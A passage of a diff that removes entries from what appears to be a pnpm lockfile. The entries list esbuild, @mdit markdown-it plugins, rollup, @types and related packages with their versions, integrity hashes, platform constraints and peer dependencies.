- resolution: {integrity: sha512-2HdXDMd9GMgTGrPWnJzP2ALSokE/0O5HhTUvWIbD3YdjME8JwvSCnNGBnTThKGEB91OZhzrJ4qIIxk/SBmyDDA==}
- engines: {node: '>=12'}
- cpu: [riscv64]
- os: [linux]
-
- '@esbuild/linux-s390x@0.21.5':
- resolution: {integrity: sha512-zus5sxzqBJD3eXxwvjN1yQkRepANgxE9lgOW2qLnmr8ikMTphkjgXu1HR01K4FJg8h1kEEDAqDcZQtbrRnB41A==}
- engines: {node: '>=12'}
- cpu: [s390x]
- os: [linux]
-
- '@esbuild/linux-x64@0.21.5':
- resolution: {integrity: sha512-1rYdTpyv03iycF1+BhzrzQJCdOuAOtaqHTWJZCWvijKD2N5Xu0TtVC8/+1faWqcP9iBCWOmjmhoH94dH82BxPQ==}
- engines: {node: '>=12'}
- cpu: [x64]
- os: [linux]
-
- '@esbuild/netbsd-x64@0.21.5':
- resolution: {integrity: sha512-Woi2MXzXjMULccIwMnLciyZH4nCIMpWQAs049KEeMvOcNADVxo0UBIQPfSmxB3CWKedngg7sWZdLvLczpe0tLg==}
- engines: {node: '>=12'}
- cpu: [x64]
- os: [netbsd]
-
- '@esbuild/openbsd-x64@0.21.5':
- resolution: {integrity: sha512-HLNNw99xsvx12lFBUwoT8EVCsSvRNDVxNpjZ7bPn947b8gJPzeHWyNVhFsaerc0n3TsbOINvRP2byTZ5LKezow==}
- engines: {node: '>=12'}
- cpu: [x64]
- os: [openbsd]
-
- '@esbuild/sunos-x64@0.21.5':
- resolution: {integrity: sha512-6+gjmFpfy0BHU5Tpptkuh8+uw3mnrvgs+dSPQXQOv3ekbordwnzTVEb4qnIvQcYXq6gzkyTnoZ9dZG+D4garKg==}
- engines: {node: '>=12'}
- cpu: [x64]
- os: [sunos]
-
- '@esbuild/win32-arm64@0.21.5':
- resolution: {integrity: sha512-Z0gOTd75VvXqyq7nsl93zwahcTROgqvuAcYDUr+vOv8uHhNSKROyU961kgtCD1e95IqPKSQKH7tBTslnS3tA8A==}
- engines: {node: '>=12'}
- cpu: [arm64]
- os: [win32]
-
- '@esbuild/win32-ia32@0.21.5':
- resolution: {integrity: sha512-SWXFF1CL2RVNMaVs+BBClwtfZSvDgtL//G/smwAc5oVK/UPu2Gu9tIaRgFmYFFKrmg3SyAjSrElf0TiJ1v8fYA==}
- engines: {node: '>=12'}
- cpu: [ia32]
- os: [win32]
-
- '@esbuild/win32-x64@0.21.5':
- resolution: {integrity: sha512-tQd/1efJuzPC6rCFwEvLtci/xNFcTZknmXs98FYDfGE4wP9ClFV98nyKrzJKVPMhdDnjzLhdUyMX4PsQAPjwIw==}
- engines: {node: '>=12'}
- cpu: [x64]
- os: [win32]
-
- '@jridgewell/gen-mapping@0.3.5':
- resolution: {integrity: sha512-IzL8ZoEDIBRWEzlCcRhOaCupYyN5gdIK+Q6fbFdPDg6HqX6jpkItn7DFIpW9LQzXG6Df9sA7+OKnq0qlz/GaQg==}
- engines: {node: '>=6.0.0'}
-
- '@jridgewell/resolve-uri@3.1.2':
- resolution: {integrity: sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==}
- engines: {node: '>=6.0.0'}
-
- '@jridgewell/set-array@1.2.1':
- resolution: {integrity: sha512-R8gLRTZeyp03ymzP/6Lil/28tGeGEzhx1q2k703KGWRAI1VdvPIXdG70VJc2pAMw3NA6JKL5hhFu1sJX0Mnn/A==}
- engines: {node: '>=6.0.0'}
-
- '@jridgewell/source-map@0.3.6':
- resolution: {integrity: sha512-1ZJTZebgqllO79ue2bm3rIGud/bOe0pP5BjSRCRxxYkEZS8STV7zN84UBbiYu7jy+eCKSnVIUgoWWE/tt+shMQ==}
-
- '@jridgewell/sourcemap-codec@1.5.0':
- resolution: {integrity: sha512-gv3ZRaISU3fjPAgNsriBRqGWQL6quFx04YMPW/zD8XMLsU32mhCCbfbO6KZFLjvYpCZ8zyDEgqsgf+PwPaM7GQ==}
-
- '@jridgewell/trace-mapping@0.3.25':
- resolution: {integrity: sha512-vNk6aEwybGtawWmy/PzwnGDOjCkLWSD2wqvjGGAgOAwCGWySYXfYoxt00IJkTF+8Lb57DwOb3Aa0o9CApepiYQ==}
-
- '@lit-labs/ssr-dom-shim@1.2.0':
- resolution: {integrity: sha512-yWJKmpGE6lUURKAaIltoPIE/wrbY3TEkqQt+X0m+7fQNnAv0keydnYvbiJFP1PnMhizmIWRWOG5KLhYyc/xl+g==}
-
- '@lit/reactive-element@2.0.4':
- resolution: {integrity: sha512-GFn91inaUa2oHLak8awSIigYz0cU0Payr1rcFsrkf5OJ5eSPxElyZfKh0f2p9FsTiZWXQdWGJeXZICEfXXYSXQ==}
-
- '@mdit-vue/plugin-component@2.1.3':
- resolution: {integrity: sha512-9AG17beCgpEw/4ldo/M6Y/1Rh4E1bqMmr/rCkWKmCAxy9tJz3lzY7HQJanyHMJufwsb3WL5Lp7Om/aPcQTZ9SA==}
-
- '@mdit-vue/plugin-frontmatter@2.1.3':
- resolution: {integrity: sha512-KxsSCUVBEmn6sJcchSTiI5v9bWaoRxe68RBYRDGcSEY1GTnfQ5gQPMIsM48P4q1luLEIWurVGGrRu7u93//LDQ==}
-
- '@mdit-vue/plugin-headers@2.1.3':
- resolution: {integrity: sha512-AcL7a7LHQR3ISINhfjGJNE/bHyM0dcl6MYm1Sr//zF7ZgokPGwD/HhD7TzwmrKA9YNYCcO9P3QmF/RN9XyA6CA==}
-
- '@mdit-vue/plugin-sfc@2.1.3':
- resolution: {integrity: sha512-Ezl0dNvQNS639Yl4siXm+cnWtQvlqHrg+u+lnau/OHpj9Xh3LVap/BSQVugKIV37eR13jXXYf3VaAOP1fXPN+w==}
-
- '@mdit-vue/plugin-title@2.1.3':
- resolution: {integrity: sha512-XWVOQoZqczoN97xCDrnQicmXKoqwOjIymIm9HQnRXhHnYKOgJPW1CxSGhkcOGzvDU1v0mD/adojVyyj/s6ggWw==}
-
- '@mdit-vue/plugin-toc@2.1.3':
- resolution: {integrity: sha512-41Q+iXpLHZt0zJdApVwoVt7WF6za/xUjtjEPf90Z3KLzQO01TXsv48Xp9BsrFHPcPcm8tiZ0+O1/ICJO80V/MQ==}
-
- '@mdit-vue/shared@2.1.3':
- resolution: {integrity: sha512-27YI8b0VVZsAlNwaWoaOCWbr4eL8B04HxiYk/y2ktblO/nMcOEOLt4p0RjuobvdyUyjHvGOS09RKhq7qHm1CHQ==}
-
- '@mdit-vue/types@2.1.0':
- resolution: {integrity: sha512-TMBB/BQWVvwtpBdWD75rkZx4ZphQ6MN0O4QB2Bc0oI5PC2uE57QerhNxdRZ7cvBHE2iY2C+BUNUziCfJbjIRRA==}
-
- '@mdit/plugin-alert@0.12.0':
- resolution: {integrity: sha512-4OyGK1PZrJbmEF/kS6GKmmG1nlN5h/CyIPZV8lRgnlWLFB37JiEz3EHusPAXAoMtw7VGNFaIcl7OT/I5yyz1JQ==}
- peerDependencies:
- markdown-it: ^14.1.0
- peerDependenciesMeta:
- markdown-it:
- optional: true
-
- '@mdit/plugin-align@0.12.0':
- resolution: {integrity: sha512-rvA+xzaVrlsr44s7XD/xadO3lF0QYWCbeSrOS2dhOroNCIOy4RotVP/1tQPr84eqm4oXcxXF0cbjFuwUgE1jYw==}
- engines: {node: '>= 18'}
- peerDependencies:
- markdown-it: ^14.1.0
- peerDependenciesMeta:
- markdown-it:
- optional: true
-
- '@mdit/plugin-attrs@0.12.0':
- resolution: {integrity: sha512-J0MBwBq958lBtdIcEo02mUIO4ubl2YK+bY799T2SusrLTf3FZsq8+d/OiLTUtovfxaphD7F6yqo8M61AiOpq+w==}
- engines: {node: '>= 18'}
- peerDependencies:
- markdown-it: ^14.1.0
- peerDependenciesMeta:
- markdown-it:
- optional: true
-
- '@mdit/plugin-container@0.12.0':
- resolution: {integrity: sha512-61bWK1ek6Rn4o12/BIKTWgGU0miB9ENcXE19H5D4DRhwG5+4+0zp2U6hRLf/mE73+mRYin7iKVzcwwEsqs+u8w==}
- engines: {node: '>= 18'}
- peerDependencies:
- markdown-it: ^14.1.0
- peerDependenciesMeta:
- markdown-it:
- optional: true
-
- '@mdit/plugin-demo@0.12.0':
- resolution: {integrity: sha512-+KDUOgcvnMtBN/uYWlhIFuWkTJexuxstq8ERy9q7vOiu8Go85qCb27h0RSToKBTmmGy+XqfU2EdJclYPWBupJQ==}
- peerDependencies:
- markdown-it: ^14.1.0
- peerDependenciesMeta:
- markdown-it:
- optional: true
-
- '@mdit/plugin-figure@0.12.0':
- resolution: {integrity: sha512-3nfcGI+uM0f6AqHZrEr8kSMBI6T2+fKKQXtCbvWQqQ+P3iGgf34Ay2eAtuMDcDGqyfNuR6e8aLoOeY2QWuEynA==}
- engines: {node: '>= 18'}
- peerDependencies:
- markdown-it: ^14.1.0
- peerDependenciesMeta:
- markdown-it:
- optional: true
-
- '@mdit/plugin-footnote@0.12.0':
- resolution: {integrity: sha512-9B+bJdMndCPoA9De9bxRm4/fyz02PHRcttOyuyPJ3G+wCAgIN1c/7CB8ViT1YJuECUjLogJQ/rrgqh7f0LTqLQ==}
- engines: {node: '>= 18'}
- peerDependencies:
- markdown-it: ^14.1.0
-
- '@mdit/plugin-img-lazyload@0.12.0':
- resolution: {integrity: sha512-6R42ieXzwkB5BKKZi+ZefqeP/fBG5qo7Sqtl72ewSVqEQ30bgxpk6nkrPI2orRob4tb6z0F/c+R8h6PW5MkTOw==}
- engines: {node: '>= 18'}
- peerDependencies:
- markdown-it: ^14.1.0
- peerDependenciesMeta:
- markdown-it:
- optional: true
-
- '@mdit/plugin-img-mark@0.12.0':
- resolution: {integrity: sha512-HkIUwlTg/xPsBi4PG+5dsMnsb7wdiJzELSCEUfdAJTg55nksonHfyV2pFpr87MML4nuZlZK9JHt+Bm2BBDSVSw==}
- engines: {node: '>= 18'}
- peerDependencies:
- markdown-it: ^14.1.0
- peerDependenciesMeta:
- markdown-it:
- optional: true
-
- '@mdit/plugin-img-size@0.12.0':
- resolution: {integrity: sha512-fCcF5gc+ba6gQ5ebrKuI8bK/gFbj8mbeN45FHmBsFDFsfTHa0Xij2v8iok0nP8YEIVj71y8XYojsqCWs6avong==}
- engines: {node: '>= 18'}
- peerDependencies:
- markdown-it: ^14.1.0
- peerDependenciesMeta:
- markdown-it:
- optional: true
-
- '@mdit/plugin-include@0.12.0':
- resolution: {integrity: sha512-8pnmp7s1TjbtoBIa/YhYpEivOpeVSyhkQoQrGq1UoaEcTbXqmFwShGkAW3zUYZVFYTl74PgL/UqJnrUojegJQg==}
- peerDependencies:
- markdown-it: ^14.1.0
- peerDependenciesMeta:
- markdown-it:
- optional: true
-
- '@mdit/plugin-katex-slim@0.12.0':
- resolution: {integrity: sha512-s2MJGXFZT7u8IUTmy6K1rxxAdYRmGggu0m860siyUrThL112xLN9r3jmXZ83epgi4UA/gLkRDAU5vF6R2JtyjQ==}
- engines: {node: '>= 18'}
- peerDependencies:
- katex: ^0.16.9
- markdown-it: ^14.1.0
- peerDependenciesMeta:
- katex:
- optional: true
- markdown-it:
- optional: true
-
- '@mdit/plugin-mark@0.12.0':
- resolution: {integrity: sha512-BDFwbV/tbgUGL8KF2ymYNLEXT2KNBLe8D0rshDrbB4Iko1U2DywACQkmaUbYBJ1VCn7/dff35at9fWrm3QjrwQ==}
- engines: {node: '>= 18'}
- peerDependencies:
- markdown-it: ^14.1.0
- peerDependenciesMeta:
- markdown-it:
- optional: true
-
- '@mdit/plugin-mathjax-slim@0.12.0':
- resolution: {integrity: sha512-bLM+JnCTN/3XiyKb64Yhpx014VYLfHBexua4n92cUyoKR9g3waB0loF1WMlg6GdyCTc7OvrUSceNjwWj3YRogg==}
- engines: {node: '>= 18'}
- peerDependencies:
- markdown-it: ^14.1.0
- mathjax-full: ^3.2.2
- peerDependenciesMeta:
- markdown-it:
- optional: true
- mathjax-full:
- optional: true
-
- '@mdit/plugin-plantuml@0.12.0':
- resolution: {integrity: sha512-m1pk6PA9+kWUs8kylLqjnQ7Lex68x3c4Ato8zAh+omkhugfWzuQXfFiXRiJ9C7wkdqHoJx/E5XobP3HJnhCpoA==}
- peerDependencies:
- markdown-it: ^14.1.0
- peerDependenciesMeta:
- markdown-it:
- optional: true
-
- '@mdit/plugin-spoiler@0.12.0':
- resolution: {integrity: sha512-7yu+Gz000O0OxGnGYOoj77Am3WgH4GwzOvwCp7tPLexkJwTve8MyT9In/NEPFaRw8fmgXwthC0gKq4Ubh1+8DA==}
- engines: {node: '>= 18'}
- peerDependencies:
- markdown-it: ^14.1.0
- peerDependenciesMeta:
- markdown-it:
- optional: true
-
- '@mdit/plugin-stylize@0.12.0':
- resolution: {integrity: sha512-5bzZvmjEpGTdwBax9jaDbCBhD1snEx6uTHVUG9HD/L5koKrL86+ox9E5FGeiMiD1dtxeMgL+WqBzV44nRE9ZPg==}
- engines: {node: '>= 18'}
- peerDependencies:
- markdown-it: ^14.1.0
- peerDependenciesMeta:
- markdown-it:
- optional: true
-
- '@mdit/plugin-sub@0.12.0':
- resolution: {integrity: sha512-27kKkSVkymc+2RNc5XOYkeXip5PgHZPUnHpxUvkpnairLwyHsXb8/gzr9zd5arVkip86rcdy9LIvnF7zO0dNVQ==}
- engines: {node: '>= 18'}
- peerDependencies:
- markdown-it: ^14.1.0
- peerDependenciesMeta:
- markdown-it:
- optional: true
-
- '@mdit/plugin-sup@0.12.0':
- resolution: {integrity: sha512-3bEDW5/y1UDVU8LVbFsqUvNcMW6orp16uCdRGYCNZ3/IeK7Qj1/9a3wfhScIoI8xRUE6M3JLv41sGBFXLHwi1w==}
- engines: {node: '>= 18'}
- peerDependencies:
- markdown-it: ^14.1.0
- peerDependenciesMeta:
- markdown-it:
- optional: true
-
- '@mdit/plugin-tab@0.12.0':
- resolution: {integrity: sha512-ZDTEDxHoekcFA5Al+NLizn8Nf0kj6ABkNBAc/VxbQoVQdjZNQtGY2dOPeWW0I96Rao+Aw+IpYRCLFIfb/KtExw==}
- peerDependencies:
- markdown-it: ^14.1.0
- peerDependenciesMeta:
- markdown-it:
- optional: true
-
- '@mdit/plugin-tasklist@0.12.0':
- resolution: {integrity: sha512-MPmuLJrqHYR2xI7ST9Xtw/xj+6Xoq7kUvcGuXWdMMNT11DcU1KppkR8QBHov437NFYh6aGyjrHUVeM4T5Ls8yg==}
- engines: {node: '>= 18'}
- peerDependencies:
- markdown-it: ^14.1.0
- peerDependenciesMeta:
- markdown-it:
- optional: true
-
- '@mdit/plugin-tex@0.12.0':
- resolution: {integrity: sha512-ejeSgSeZvcI5P4hFFQ4q5pHrZBGO2fQWVGm6dZ3BhX4ldoV8LjCIzkcMMXhrhSOVjwHnqmF6xOh9EvI0jzak1w==}
- engines: {node: '>= 18'}
- peerDependencies:
- markdown-it: ^14.1.0
- peerDependenciesMeta:
- markdown-it:
- optional: true
-
- '@mdit/plugin-uml@0.12.0':
- resolution: {integrity: sha512-EfVMmq0CwLJcssxhkvGS2ESenNNEMeK04j702Z9v3am1M9DdEj6zHTrHQd9tA0jNVuFY8ZlmMgDfkkG5k6Rm3Q==}
- engines: {node: '>= 18'}
- peerDependencies:
- markdown-it: ^14.1.0
- peerDependenciesMeta:
- markdown-it:
- optional: true
-
- '@nodelib/fs.scandir@2.1.5':
- resolution: {integrity: sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==}
- engines: {node: '>= 8'}
-
- '@nodelib/fs.stat@2.0.5':
- resolution: {integrity: sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==}
- engines: {node: '>= 8'}
-
- '@nodelib/fs.walk@1.2.8':
- resolution: {integrity: sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==}
- engines: {node: '>= 8'}
-
- '@rollup/plugin-babel@5.3.1':
- resolution: {integrity: sha512-WFfdLWU/xVWKeRQnKmIAQULUI7Il0gZnBIH/ZFO069wYIfPu+8zrfp/KMW0atmELoRDq8FbiP3VCss9MhCut7Q==}
- engines: {node: '>= 10.0.0'}
- peerDependencies:
- '@babel/core': ^7.0.0
- '@types/babel__core': ^7.1.9
- rollup: ^1.20.0||^2.0.0
- peerDependenciesMeta:
- '@types/babel__core':
- optional: true
-
- '@rollup/plugin-node-resolve@15.2.3':
- resolution: {integrity: sha512-j/lym8nf5E21LwBT4Df1VD6hRO2L2iwUeUmP7litikRsVp1H6NWx20NEp0Y7su+7XGc476GnXXc4kFeZNGmaSQ==}
- engines: {node: '>=14.0.0'}
- peerDependencies:
- rollup: ^2.78.0||^3.0.0||^4.0.0
- peerDependenciesMeta:
- rollup:
- optional: true
-
- '@rollup/plugin-replace@2.4.2':
- resolution: {integrity: sha512-IGcu+cydlUMZ5En85jxHH4qj2hta/11BHq95iHEyb2sbgiN0eCdzvUcHw5gt9pBL5lTi4JDYJ1acCoMGpTvEZg==}
- peerDependencies:
- rollup: ^1.20.0 || ^2.0.0
-
- '@rollup/plugin-terser@0.4.4':
- resolution: {integrity: sha512-XHeJC5Bgvs8LfukDwWZp7yeqin6ns8RTl2B9avbejt6tZqsqvVoWI7ZTQrcNsfKEDWBTnTxM8nMDkO2IFFbd0A==}
- engines: {node: '>=14.0.0'}
- peerDependencies:
- rollup: ^2.0.0||^3.0.0||^4.0.0
- peerDependenciesMeta:
- rollup:
- optional: true
-
- '@rollup/pluginutils@3.1.0':
- resolution: {integrity: sha512-GksZ6pr6TpIjHm8h9lSQ8pi8BE9VeubNT0OMJ3B5uZJ8pz73NPiqOtCog/x2/QzM1ENChPKxMDhiQuRHsqc+lg==}
- engines: {node: '>= 8.0.0'}
- peerDependencies:
- rollup: ^1.20.0||^2.0.0
-
- '@rollup/pluginutils@5.1.0':
- resolution: {integrity: sha512-XTIWOPPcpvyKI6L1NHo0lFlCyznUEyPmPY1mc3KpPVDYulHSTvyeLNVW00QTLIAFNhR3kYnJTQHeGqU4M3n09g==}
- engines: {node: '>=14.0.0'}
- peerDependencies:
- rollup: ^1.20.0||^2.0.0||^3.0.0||^4.0.0
- peerDependenciesMeta:
- rollup:
- optional: true
-
- '@rollup/rollup-android-arm-eabi@4.19.0':
- resolution: {integrity: sha512-JlPfZ/C7yn5S5p0yKk7uhHTTnFlvTgLetl2VxqE518QgyM7C9bSfFTYvB/Q/ftkq0RIPY4ySxTz+/wKJ/dXC0w==}
- cpu: [arm]
- os: [android]
-
- '@rollup/rollup-android-arm64@4.19.0':
- resolution: {integrity: sha512-RDxUSY8D1tWYfn00DDi5myxKgOk6RvWPxhmWexcICt/MEC6yEMr4HNCu1sXXYLw8iAsg0D44NuU+qNq7zVWCrw==}
- cpu: [arm64]
- os: [android]
-
- '@rollup/rollup-darwin-arm64@4.19.0':
- resolution: {integrity: sha512-emvKHL4B15x6nlNTBMtIaC9tLPRpeA5jMvRLXVbl/W9Ie7HhkrE7KQjvgS9uxgatL1HmHWDXk5TTS4IaNJxbAA==}
- cpu: [arm64]
- os: [darwin]
-
- '@rollup/rollup-darwin-x64@4.19.0':
- resolution: {integrity: sha512-fO28cWA1dC57qCd+D0rfLC4VPbh6EOJXrreBmFLWPGI9dpMlER2YwSPZzSGfq11XgcEpPukPTfEVFtw2q2nYJg==}
- cpu: [x64]
- os: [darwin]
-
- '@rollup/rollup-linux-arm-gnueabihf@4.19.0':
- resolution: {integrity: sha512-2Rn36Ubxdv32NUcfm0wB1tgKqkQuft00PtM23VqLuCUR4N5jcNWDoV5iBC9jeGdgS38WK66ElncprqgMUOyomw==}
- cpu: [arm]
- os: [linux]
-
- '@rollup/rollup-linux-arm-musleabihf@4.19.0':
- resolution: {integrity: sha512-gJuzIVdq/X1ZA2bHeCGCISe0VWqCoNT8BvkQ+BfsixXwTOndhtLUpOg0A1Fcx/+eA6ei6rMBzlOz4JzmiDw7JQ==}
- cpu: [arm]
- os: [linux]
-
- '@rollup/rollup-linux-arm64-gnu@4.19.0':
- resolution: {integrity: sha512-0EkX2HYPkSADo9cfeGFoQ7R0/wTKb7q6DdwI4Yn/ULFE1wuRRCHybxpl2goQrx4c/yzK3I8OlgtBu4xvted0ug==}
- cpu: [arm64]
- os: [linux]
-
- '@rollup/rollup-linux-arm64-musl@4.19.0':
- resolution: {integrity: sha512-GlIQRj9px52ISomIOEUq/IojLZqzkvRpdP3cLgIE1wUWaiU5Takwlzpz002q0Nxxr1y2ZgxC2obWxjr13lvxNQ==}
- cpu: [arm64]
- os: [linux]
-
- '@rollup/rollup-linux-powerpc64le-gnu@4.19.0':
- resolution: {integrity: sha512-N6cFJzssruDLUOKfEKeovCKiHcdwVYOT1Hs6dovDQ61+Y9n3Ek4zXvtghPPelt6U0AH4aDGnDLb83uiJMkWYzQ==}
- cpu: [ppc64]
- os: [linux]
-
- '@rollup/rollup-linux-riscv64-gnu@4.19.0':
- resolution: {integrity: sha512-2DnD3mkS2uuam/alF+I7M84koGwvn3ZVD7uG+LEWpyzo/bq8+kKnus2EVCkcvh6PlNB8QPNFOz6fWd5N8o1CYg==}
- cpu: [riscv64]
- os: [linux]
-
- '@rollup/rollup-linux-s390x-gnu@4.19.0':
- resolution: {integrity: sha512-D6pkaF7OpE7lzlTOFCB2m3Ngzu2ykw40Nka9WmKGUOTS3xcIieHe82slQlNq69sVB04ch73thKYIWz/Ian8DUA==}
- cpu: [s390x]
- os: [linux]
-
- '@rollup/rollup-linux-x64-gnu@4.19.0':
- resolution: {integrity: sha512-HBndjQLP8OsdJNSxpNIN0einbDmRFg9+UQeZV1eiYupIRuZsDEoeGU43NQsS34Pp166DtwQOnpcbV/zQxM+rWA==}
- cpu: [x64]
- os: [linux]
-
- '@rollup/rollup-linux-x64-musl@4.19.0':
- resolution: {integrity: sha512-HxfbvfCKJe/RMYJJn0a12eiOI9OOtAUF4G6ozrFUK95BNyoJaSiBjIOHjZskTUffUrB84IPKkFG9H9nEvJGW6A==}
- cpu: [x64]
- os: [linux]
-
- '@rollup/rollup-win32-arm64-msvc@4.19.0':
- resolution: {integrity: sha512-HxDMKIhmcguGTiP5TsLNolwBUK3nGGUEoV/BO9ldUBoMLBssvh4J0X8pf11i1fTV7WShWItB1bKAKjX4RQeYmg==}
- cpu: [arm64]
- os: [win32]
-
- '@rollup/rollup-win32-ia32-msvc@4.19.0':
- resolution: {integrity: sha512-xItlIAZZaiG/u0wooGzRsx11rokP4qyc/79LkAOdznGRAbOFc+SfEdfUOszG1odsHNgwippUJavag/+W/Etc6Q==}
- cpu: [ia32]
- os: [win32]
-
- '@rollup/rollup-win32-x64-msvc@4.19.0':
- resolution: {integrity: sha512-xNo5fV5ycvCCKqiZcpB65VMR11NJB+StnxHz20jdqRAktfdfzhgjTiJ2doTDQE/7dqGaV5I7ZGqKpgph6lCIag==}
- cpu: [x64]
- os: [win32]
-
- '@sec-ant/readable-stream@0.4.1':
- resolution: {integrity: sha512-831qok9r2t8AlxLko40y2ebgSDhenenCatLVeW/uBtnHPyhHOvG0C7TvfgecV+wHzIm5KUICgzmVpWS+IMEAeg==}
-
- '@shikijs/core@1.11.1':
- resolution: {integrity: sha512-Qsn8h15SWgv5TDRoDmiHNzdQO2BxDe86Yq6vIHf5T0cCvmfmccJKIzHtep8bQO9HMBZYCtCBzaXdd1MnxZBPSg==}
-
- '@shikijs/transformers@1.11.1':
- resolution: {integrity: sha512-e6DUvZRylv+V8htF5q3ZuNyPaxJYQnsLyTd2S/K6ePs8t132NJS82LG2vARmtfSFP3I3CcBXfJ73FaCgI9kAMg==}
-
- '@sindresorhus/merge-streams@2.3.0':
- resolution: {integrity: sha512-LtoMMhxAlorcGhmFYI+LhPgbPZCkgP6ra1YL604EeF6U98pLlQ3iWIGMdWSC+vWmPBWBNgmDBAhnAobLROJmwg==}
- engines: {node: '>=18'}
-
- '@sindresorhus/merge-streams@4.0.0':
- resolution: {integrity: sha512-tlqY9xq5ukxTUZBmoOp+m61cqwQD5pHJtFY3Mn8CA8ps6yghLH/Hw8UPdqg4OLmFW3IFlcXnQNmo/dh8HzXYIQ==}
- engines: {node: '>=18'}
-
- '@stackblitz/sdk@1.11.0':
- resolution: {integrity: sha512-DFQGANNkEZRzFk1/rDP6TcFdM82ycHE+zfl9C/M/jXlH68jiqHWHFMQURLELoD8koxvu/eW5uhg94NSAZlYrUQ==}
-
- '@surma/rollup-plugin-off-main-thread@2.2.3':
- resolution: {integrity: sha512-lR8q/9W7hZpMWweNiAKU7NQerBnzQQLvi8qnTDU/fxItPhtZVMbPV3lbCwjhIlNBe9Bbr5V+KHshvWmVSG9cxQ==}
-
- '@types/debug@4.1.12':
- resolution: {integrity: sha512-vIChWdVG3LG1SMxEvI/AK+FWJthlrqlTu7fbrlywTkkaONwk/UAGaULXRlf8vkzFBLVm0zkMdCquhL5aOjhXPQ==}
-
- '@types/estree@0.0.39':
- resolution: {integrity: sha512-EYNwp3bU+98cpU4lAWYYL7Zz+2gryWH1qbdDTidVd6hkiR6weksdbMadyXKXNPEkQFhXM+hVO9ZygomHXp+AIw==}
-
- '@types/estree@1.0.5':
- resolution: {integrity: sha512-/kYRxGDLWzHOB7q+wtSUQlFrtcdUccpfy+X+9iMBpHK8QLLhx2wIPYuS5DYtR9Wa/YlZAbIovy7qVdB1Aq6Lyw==}
-
- '@types/fs-extra@11.0.4':
- resolution: {integrity: sha512-yTbItCNreRooED33qjunPthRcSjERP1r4MqCZc7wv0u2sUkzTFp45tgUfS5+r7FrZPdmCCNflLhVSP/o+SemsQ==}
-
- '@types/hash-sum@1.0.2':
- resolution: {integrity: sha512-UP28RddqY8xcU0SCEp9YKutQICXpaAq9N8U2klqF5hegGha7KzTOL8EdhIIV3bOSGBzjEpN9bU/d+nNZBdJYVw==}
-
- '@types/hast@3.0.4':
- resolution: {integrity: sha512-WPs+bbQw5aCj+x6laNGWLH3wviHtoCv/P3+otBhbOhJgG8qtpdAMlTCxLtsTWA7LH1Oh/bFCHsBn0TPS5m30EQ==}
-
- '@types/jsonfile@6.1.4':
- resolution: {integrity: sha512-D5qGUYwjvnNNextdU59/+fI+spnwtTFmyQP0h+PfIOSkNfpU6AOICUOkm4i0OnSk+NyjdPJrxCDro0sJsWlRpQ==}
-
- '@types/katex@0.16.7':
- resolution: {integrity: sha512-HMwFiRujE5PjrgwHQ25+bsLJgowjGjm5Z8FVSf0N6PwgJrwxH0QxzHYDcKsTfV3wva0vzrpqMTJS2jXPr5BMEQ==}
-
- '@types/linkify-it@5.0.0':
- resolution: {integrity: sha512-sVDA58zAw4eWAffKOaQH5/5j3XeayukzDk+ewSsnv3p4yJEZHCCzMDiZM8e0OUrRvmpGZ85jf4yDHkHsgBNr9Q==}
-
- '@types/markdown-it-emoji@3.0.1':
- resolution: {integrity: sha512-cz1j8R35XivBqq9mwnsrP2fsz2yicLhB8+PDtuVkKOExwEdsVBNI+ROL3sbhtR5occRZ66vT0QnwFZCqdjf3pA==}
-
- '@types/markdown-it@14.1.2':
- resolution: {integrity: sha512-promo4eFwuiW+TfGxhi+0x3czqTYJkG8qB17ZUJiVF10Xm7NLVRSLUsfRTU/6h1e24VvRnXCx+hG7li58lkzog==}
-
- '@types/mdurl@2.0.0':
- resolution: {integrity: sha512-RGdgjQUZba5p6QEFAVx2OGb8rQDL/cPRG7GiedRzMcJ1tYnUANBncjbSB1NRGwbvjcPeikRABz2nshyPk1bhWg==}
-
- '@types/ms@0.7.34':
- resolution: {integrity: sha512-nG96G3Wp6acyAgJqGasjODb+acrI7KltPiRxzHPXnP3NgI28bpQDRv53olbqGXbfcgF5aiiHmO3xpwEpS5Ld9g==}
-
- '@types/node@17.0.45':
- resolution: {integrity: sha512-w+tIMs3rq2afQdsPJlODhoUEKzFP1ayaoyl1CcnwtIlsVe7K7bA1NGm4s3PraqTLlXnbIN84zuBlxBWo1u9BLw==}
-
- '@types/node@20.14.12':
- resolution: {integrity: sha512-r7wNXakLeSsGT0H1AU863vS2wa5wBOK4bWMjZz2wj+8nBx+m5PeIn0k8AloSLpRuiwdRQZwarZqHE4FNArPuJQ==}
-
- '@types/resolve@1.20.2':
- resolution: {integrity: sha512-60BCwRFOZCQhDncwQdxxeOEEkbc5dIMccYLwbxsS4TUNeVECQ/pBJ0j09mrHOl/JJvpRPGwO9SvE4nR2Nb/a4Q==}
-
- '@types/sax@1.2.7':
- resolution: {integrity: sha512-rO73L89PJxeYM3s3pPPjiPgVVcymqU490g0YO5n5By0k2Erzj6tay/4lr1CHAAU4JyOWd1rpQ8bCf6cZfHU96A==}
-
- '@types/trusted-types@2.0.7':
- resolution: {integrity: sha512-ScaPdn1dQczgbl0QFTeTOmVHFULt394XJgOQNoyVhZ6r2vLnMLJfBPd53SB52T/3G36VI1/g2MZaX0cwDuXsfw==}
-
- '@types/unist@3.0.2':
- resolution: {integrity: sha512-dqId9J8K/vGi5Zr7oo212BGii5m3q5Hxlkwy3WpYuKPklmBEvsbMYYyLxAQpSffdLl/gdW0XUpKWFvYmyoWCoQ==}
-
- '@types/web-bluetooth@0.0.20':
- resolution: {integrity: sha512-g9gZnnXVq7gM7v3tJCWV/qw7w+KeOlSHAhgF9RytFyifW6AF61hdT2ucrYhPq9hLs5JIryeupHV3qGk95dH9ow==}
-
- '@vitejs/plugin-vue@5.1.0':
- resolution: {integrity: sha512-QMRxARyrdiwi1mj3AW4fLByoHTavreXq0itdEW696EihXglf1MB3D4C2gBvE0jMPH29ZjC3iK8aIaUMLf4EOGA==}
